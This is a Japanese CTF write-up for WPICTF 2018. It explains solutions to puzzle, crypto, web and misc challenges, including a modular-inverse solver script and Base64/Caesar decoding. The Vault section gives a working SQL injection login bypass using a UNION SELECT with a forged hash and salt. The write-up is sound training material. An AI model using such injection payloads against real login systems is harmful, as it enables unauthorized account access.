WPICTF 2018 Writeup

この大会は2018/4/13 19:00(JST)~2018/4/15 19:00(JST)に開催されました。
今回もチームで参戦。結果は3418点で605チーム中6位でした。
自分で解けた問題をWriteupとして書いておきます。

Read (Misc 1)

問題にフラグが書いてある。

WPI{Hey_You_can_R3AD!}

Discord (Misc 10)

Discordの#discord_chalチャネルの名前の横にフラグが書かれている。

WPI{Welcome_to_Disc0rd_ya-D00fus}

Bitpuzzler (Misc 100)

$ nc bitpuzzler.wpictf.xyz 31337

-----
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

inline int64_t pmod(int64_t x) {
	int64_t v = x % 13707217;
	if(v < 0)
		return v + 13707217;
	else
		return v;
}

int main(int argc, char** argv) {
	int64_t x;
	scanf("%ld", &x);
	x = pmod(x);
	x = pmod(x - 2765383);
	x = pmod(x - 11088075);
	x = pmod(x - 53063);
	x = pmod(x - 816347);
	x = pmod(x * 12704223);
	x = pmod(x + 6252924);
	x = pmod(x * 6611972);
	x = pmod(x - 11827031);
	x = pmod(x + 11668824);
	x = pmod(x + 5960404);
	x = pmod(x + 3990469);
	x = pmod(x * 4551209);
	x = pmod(x + 8564211);
	x = pmod(x * 10868946);
	x = pmod(x + 13656920);
	x = pmod(x - 6875294);
	x = pmod(x - 5266333);
	x = pmod(x * 12540554);
	x = pmod(x * 6800308);
	x = pmod(x - 10601882);
	x = pmod(x - 13175208);
	x = pmod(x * 8674854);
	x = pmod(x - 1566882);
	x = pmod(x * 8916465);
	x = pmod(x - 12408787);
	x = pmod(x + 6566083);
	x = pmod(x - 12368595);
	x = pmod(x + 7142759);
	x = pmod(x - 5354305);
	x = pmod(x + 3248766);
	x = pmod(x - 3618572);
	x = pmod(x * 7724903);
	x = pmod(x + 706032);
	x = pmod(x - 9001286);
	x = pmod(x + 4888598);
	x = pmod(x - 8634454);
	x = pmod(x * 9733406);
	x = pmod(x + 7802326);
	x = pmod(x * 896038);
	x = pmod(x * 3011522);
	x = pmod(x * 6151929);
	x = pmod(x + 7935015);
	x = pmod(x * 8182226);
	x = pmod(x * 3248703);
	x = pmod(x + 4872711);
	x = pmod(x * 9159476);
	x = pmod(x - 3410508);
	x = pmod(x - 7169804);
	x = pmod(x - 8315);
	x = pmod(x * 3939779);
	x = pmod(x + 3876691);
	x = pmod(x * 4280527);
	x = pmod(x - 13340241);
	x = pmod(x * 8921547);
	x = pmod(x - 10642560);
	x = pmod(x - 9681873);
	x = pmod(x - 3724401);
	x = pmod(x + 1239026);
	x = pmod(x - 3208209);
	x = pmod(x - 3683714);
	x = pmod(x - 13079469);
	x = pmod(x * 9035856);
	x = pmod(x - 6439696);
	x = pmod(x * 5223258);
	x = pmod(x * 4723953);
	x = pmod(x - 10698396);
	x = pmod(x * 6315260);
	x = pmod(x * 10079006);
	x = pmod(x * 6765231);
	x = pmod(x + 8536576);
	x = pmod(x - 11301677);
	x = pmod(x + 8000942);
	x = pmod(x - 715059);
	x = pmod(x - 2200297);
	x = pmod(x * 9906480);
	x = pmod(x - 8854557);
	x = pmod(x * 5166668);
	x = pmod(x - 12459100);
	x = pmod(x - 818574);
	x = pmod(x - 2950323);
	x = pmod(x + 8425982);
	x = pmod(x * 11546411);
	x = pmod(x * 6166679);
	x = pmod(x * 6499675);
	x = pmod(x - 8615247);
	x = pmod(x + 7929113);
	x = pmod(x - 819362);
	x = pmod(x - 469235);
	x = pmod(x + 9436196);
	x = pmod(x * 10904837);
	x = pmod(x + 8443541);
	x = pmod(x + 11542857);
	x = pmod(x + 5018244);
	x = pmod(x * 1102863);
	x = pmod(x * 4817050);
	x = pmod(x + 7730697);
	x = pmod(x + 2374403);
	x = pmod(x * 2486459);
	x = pmod(x * 4797058);
	x = pmod(x * 8426160);
	if(x == 8594918) {
		printf("Success\n");
		return 0;
	} else {
		printf("Failure\n");
		return 1;
	}
}
-----

元のxを算出する問題。modの計算のため、割り算はinverseの計算をする必要がある。このことを考慮して、コードにすると、以下の通り。

import socket
import re

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    g, y, x = egcd(b%a,a)
    return (g, x - (b//a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('No modular inverse')
    return x%m

def parse(s):
    ptn = 'x = pmod\(x (.+) (.+)\);'
    m = re.search(ptn, s)
    op = m.group(1)
    num = int(m.group(2))
    return op, num

def minus_mod(a, b, mod):
    return (a - b) % mod

def plus_mod(a, b, mod):
    return (a + b) % mod

def inv_mod(a, b, mod):
    return (a * modinv(b, mod)) % mod

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('bitpuzzler.wpictf.xyz', 31337))

for i in range(82):
    print '**** Round %d ****' % (i+1)
    data = recvuntil(s, '-----\n')
    data += recvuntil(s, '-----\n')
    print data

    lines = data.split('\n')

    ptn = 'int64_t v = x % (.+);'
    m = re.search(ptn, lines[7])
    mod = int(m.group(1))

    ptn = 'if\(x == (.+)\) {'
    m = re.search(ptn, lines[-10])
    res = int(m.group(1))

    formula = lines[17:-10]

    x = res
    for i in range(len(formula) - 1, 0, -1):
        op, num = parse(formula[i])
        if op == '+':
            x = minus_mod(x, num, mod)
        elif op == '-':
            x = plus_mod(x, num, mod)
        elif op == '*':
            x = inv_mod(x, num, mod)

    print x
    s.sendall(str(x) + '\n')
    data = s.recv(256)
    print data

data = s.recv(256)
print data

82回正解すると、フラグが表示された。

WPI{R1NG$_@ND_F13LDS_M@KE_M3_W@NT_T0_D13}

guess5 (Crypto 200)

Submitをクリックしても反応がない。ブラウザのデベロッパーツールで確認すると、jsonをparseできないようなエラーが起きていることがわかる。
ソースを見ると、app.jsで処理が行われているように見える。
app.jsを見ると、以下のような記載があり、Guess6.jsonを参照していることがわかる。

initContract: function() {
    $.getJSON('Guess6.json', function(guess6Artifact) {

https://glgaines.github.io/guess5/Guess6.jsonを見てみる。
bytecodeなどのパラメータの値があるのがわかる。この辺りに暗号のパラメータでもあるのかもしれない。その辺りを読んでいくと、以下のような記述があり、そのままフラグが書いてあった。

  "source": "pragma solidity ^0.4.17;\r\ncontract Guess6 {\r\n    //global variables\r\n    address owner;\r\n    //modifiers\r\n    modifier restricted() {\r\n        require(msg.sender == owner);\r\n        _;\r\n    }\r\n    // initialize\r\n    function Guess6() public {\r\n        owner = msg.sender;\r\n    }\r\n    function kill() public {\r\n        if(msg.sender == owner) selfdestruct(owner);\r\n    }\r\n\r\n    function makeGuessesArray(uint8 guess0, uint8 guess1, uint8 guess2, uint8 guess3, uint8 guess4, uint8 guess5) public view returns(uint[7], string)  {\r\n        uint8[6] memory guesses;\r\n        guesses[0] = guess0;\r\n        guesses[1] = guess1;\r\n        guesses[2] = guess2;\r\n        guesses[3] = guess3;\r\n        guesses[4] = guess4;\r\n        guesses[5] = guess5;\r\n        return createGuesses(guesses);\r\n    }\r\n\r\n    function createGuesses(uint8[6] guesses) public view returns (uint[7], string) {\r\n        uint[7] memory resultArray;\r\n        uint16 adder = guesses[0] + guesses[1] + guesses[2] + guesses[3] + guesses[4] + guesses[5];\r\n        uint16 correctCount = 0;\r\n        string memory result_answer;\r\n\r\n        uint timeNow  = now/100 + adder;\r\n        resultArray[0] = timeNow % 9;\r\n        resultArray[1] = timeNow % 3;\r\n        resultArray[2] = timeNow % 5;\r\n        resultArray[3] = timeNow % 7;\r\n        resultArray[4] = timeNow % 8;\r\n        resultArray[5] = timeNow % 2;\r\n\r\n        resultArray[6] = timeNow;\r\n\r\n        for(uint8 i = 0; i < 6; i++){\r\n            if(resultArray[i] == guesses[i]) {\r\n                correctCount++;\r\n          }\r\n        }\r\n        if (correctCount == guesses.length){\r\n            result_answer = \"you got the Flag:  WPI{All_Hail_The_Mighty_Vitalik}\";\r\n        } else {\r\n            result_answer = \"Try again\";\r\n        }\r\n      return (resultArray, result_answer);\r\n    }\r\n}\r\n",
WPI{All_Hail_The_Mighty_Vitalik}

Dance (Web 150)

$ curl -v https://dance.wpictf.xyz
* Rebuilt URL to: https://dance.wpictf.xyz/
* Hostname was NOT found in DNS cache
*   Trying 35.184.194.215...
* Connected to dance.wpictf.xyz (35.184.194.215) port 443 (#0)
* successfully set certificate verify locations:
*   CAfile: none
  CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server key exchange (12):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using ECDHE-RSA-AES128-GCM-SHA256
* Server certificate:
* 	 subject: CN=dance.wpictf.xyz
* 	 start date: 2018-04-15 00:54:53 GMT
* 	 expire date: 2018-07-14 00:54:53 GMT
* 	 subjectAltName: dance.wpictf.xyz matched
* 	 issuer: C=US; O=Let's Encrypt; CN=Let's Encrypt Authority X3
* 	 SSL certificate verify ok.
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host: dance.wpictf.xyz
> Accept: */*
> 
< HTTP/1.1 302 FOUND
* Server nginx/1.13.12 is not blacklisted
< Server: nginx/1.13.12
< Date: Sun, 15 Apr 2018 03:35:14 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 309
< Connection: keep-alive
< Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s
< Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/
< Set-Cookie: Julius C.="got good dance moves."; Path=/
< Strict-Transport-Security: max-age=31536000
< 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
* Connection #0 to host dance.wpictf.xyz left intact
<p>You should be redirected automatically to target URL: <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s">https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s</a>.  If not click the link.

クッキーには以下がセットされている。

flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=
Julius C.="got good dance moves."

flagはそのままではBase64デコードしても、printableな文字にならない。シーザー暗号と考え、デコードしてWPI{で始まるものを見つける。

$ echo WPI{ | base64
V1BJewo=

https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipher
で復号する。

Rotation 9:
V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=
$ echo V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo= | base64 -d
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}

Vault (Web 200)

ソースを見る。

 <!-- Welcome to the the Fuller Vault
 - clients/clients.db stores authentication info with the following schema:

 CREATE TABLE clients (
   id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
   clientname VARCHAR(255),
   hash VARCHAR(255),
   salt VARCHAR(255)
 ); -->

<!-- V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt -->
>>> 'V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt'.decode('base64')
"What? You thought this was a flag? Ha that would be to easy. That's just not my style? ~ Goutham"

style.cssを見ると、Base64で書かれたコメントが記載されている。

c2VhcmNoID0gIiIiU0VMRUNUIGlkLCBoYXNoLCBzYWx0IEZST00gY2xpZW50cyBXSEVSRSBjbGllbnRuYW1lID0gJ3swfScgTElNSVQgMSIiIi5mb3JtYXQoY2xpZW50bmFtZSkNCnBvaW50ZXIuZXhlY3V0ZShzZWFyY2gpDQoNCiByZXMgPSBwb2ludGVyLmZldGNob25lKCkNCiAgICBpZiBub3QgcmVzOg0KICAgICAgICByZXR1cm4gIk5vIHN1Y2ggdXNlciBpbiB0aGUgZGF0YWJhc2UgezB9IVxuIi5mb3JtYXQoY2xpZW50bmFtZSkNCiAgICB1c2VySUQsIGhhc2gsIHNhbHQgPSByZXMNCg==

Y2FsY3VsYXRlZEhhc2ggPSBoYXNobGliLnNoYTI1NihwYXNzd29yZCArIHNhbHQpDQppZiBjYWxjdWxhdGVkSGFzaC5oZXhkaWdlc3QoKSAhPSBoYXNoOg0KDQoJSW52YWxpZA0K
>>> 'c2VhcmNoID0gIiIiU0VMRUNUIGlkLCBoYXNoLCBzYWx0IEZST00gY2xpZW50cyBXSEVSRSBjbGllbnRuYW1lID0gJ3swfScgTElNSVQgMSIiIi5mb3JtYXQoY2xpZW50bmFtZSkNCnBvaW50ZXIuZXhlY3V0ZShzZWFyY2gpDQoNCiByZXMgPSBwb2ludGVyLmZldGNob25lKCkNCiAgICBpZiBub3QgcmVzOg0KICAgICAgICByZXR1cm4gIk5vIHN1Y2ggdXNlciBpbiB0aGUgZGF0YWJhc2UgezB9IVxuIi5mb3JtYXQoY2xpZW50bmFtZSkNCiAgICB1c2VySUQsIGhhc2gsIHNhbHQgPSByZXMNCg=='.decode('base64')
'search = """SELECT id, hash, salt FROM clients WHERE clientname = \'{0}\' LIMIT 1""".format(clientname)\r\npointer.execute(search)\r\n\r\n res = pointer.fetchone()\r\n    if not res:\r\n        return "No such user in the database {0}!\\n".format(clientname)\r\n    userID, hash, salt = res\r\n'

>>> 'Y2FsY3VsYXRlZEhhc2ggPSBoYXNobGliLnNoYTI1NihwYXNzd29yZCArIHNhbHQpDQppZiBjYWxjdWxhdGVkSGFzaC5oZXhkaWdlc3QoKSAhPSBoYXNoOg0KDQoJSW52YWxpZA0K'.decode('base64')
'calculatedHash = hashlib.sha256(password + salt)\r\nif calculatedHash.hexdigest() != hash:\r\n\r\n\tInvalid\r\n'

passwordとsaltを決めて、hashを計算する。

>>> import hashlib
>>> hashlib.sha256('pass' + 'salt').hexdigest()
'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6'

以下でログイン

Username
' union select '1', 'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6', 'salt' --

Password
pass

→Welcome back valid user! Your digital secret is: "https://www.youtube.com/watch?v=dQw4w9WgXcQ"

idを2に変えてみる。

Username
' union select '2', 'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6', 'salt' --

Password
pass

→Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}"
WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}